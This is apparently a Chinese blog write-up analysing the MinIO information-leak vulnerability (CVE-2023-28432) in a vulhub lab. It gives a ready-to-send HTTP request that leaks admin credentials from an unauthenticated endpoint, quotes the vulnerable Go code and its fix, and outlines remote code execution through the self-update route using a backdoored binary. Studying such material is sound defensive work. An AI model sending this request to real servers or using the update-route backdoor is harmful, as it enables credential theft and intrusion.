MinIO信息泄漏漏洞分析
参考文章： https://mp.weixin.qq.com/s/GNhQLuzD8up3VcBRIinmgQ https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q 漏洞比较新，很多师傅也写了博客记录了自己的尝试，很多地方可能写的不是特别明确，这里也结合了一些自己的思考去尝试分析。
漏洞复现
可以用vulhub上配好的docker文件来起漏洞环境
POST /minio/bootstrap/v1/verify HTTP/1.1
Host: your-ip:9000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
得到账号密码minioadmin/minioadmin-vulhub
可以成功登陆后台
MinIO后台如何RCE我们后面再说，先看一看漏洞的成因
漏洞分析
有漏洞版本的代码
在集群模式下会注册/minio/bootstrap/v1/verify这个路由
// minio/cmd/bootstrap-peer-server.go
func (b *bootstrapRESTServer) VerifyHandler(w http.ResponseWriter, r *http.Request) {
ctx := newContext(r, w, "VerifyHandler")
cfg := getServerSystemCfg()
logger.LogIf(ctx, json.NewEncoder(w).Encode(&cfg))
}
// minio/cmd/bootstrap-peer-server.go
func getServerSystemCfg() ServerSystemConfig {
envs := env.List("MINIO_")
envValues := make(map[string]string, len(envs))
for _, envK := range envs {
// skip certain environment variables as part
// of the whitelist and could be configured
// differently on each nodes, update skipEnvs()
// map if there are such environment values
if _, ok := skipEnvs[envK]; ok {
continue
}
envValues[envK] = env.Get(envK, "")
}
return ServerSystemConfig{
MinioEndpoints: globalEndpoints,
MinioEnv: envValues,
}
}而根据这部分代码，由于此路由没有鉴权，请求接口就会返回环境变量。MinIO启动时会从环境变量中读取预设的管理员账号密码，所以环境变量中存在管理员账号。如果没有预设，那么就是默认的账号密码。
因此从攻击角度来说，这个信息泄漏会导致无论是否预设，都能拿到账号密码登陆。
再看一下修复方案，也是把账号密码等从接口中移除回显，同时增加了对于接口的鉴权部分。
漏洞利用
通过自更新完成RCE
参考： https://y4er.com/posts/minio-cve-2023-28432/ https://github.com/AbelChe/evil_minio
MinIO是Go写的项目，语言本身缺乏动态特性，不过有意思的是后台具备自更新功能，可以利用这个功能运行恶意二进制文件完成RCE。
在/minio/admin/v3/update?updateURL={updateURL}这个路由的功能中，可以从远程加载二进制文件，下载并更新。
具体可以利用minio的cli客户端工具，进行更新
但是如果是一个伪造好的恶意二进制文件，运行后minio的服务就宕机了，这里可以参考https://github.com/AbelChe/evil_minio项目，思路是魔改minio，添加一个后门路由来完成不破坏原有服务，完成RCE的工作。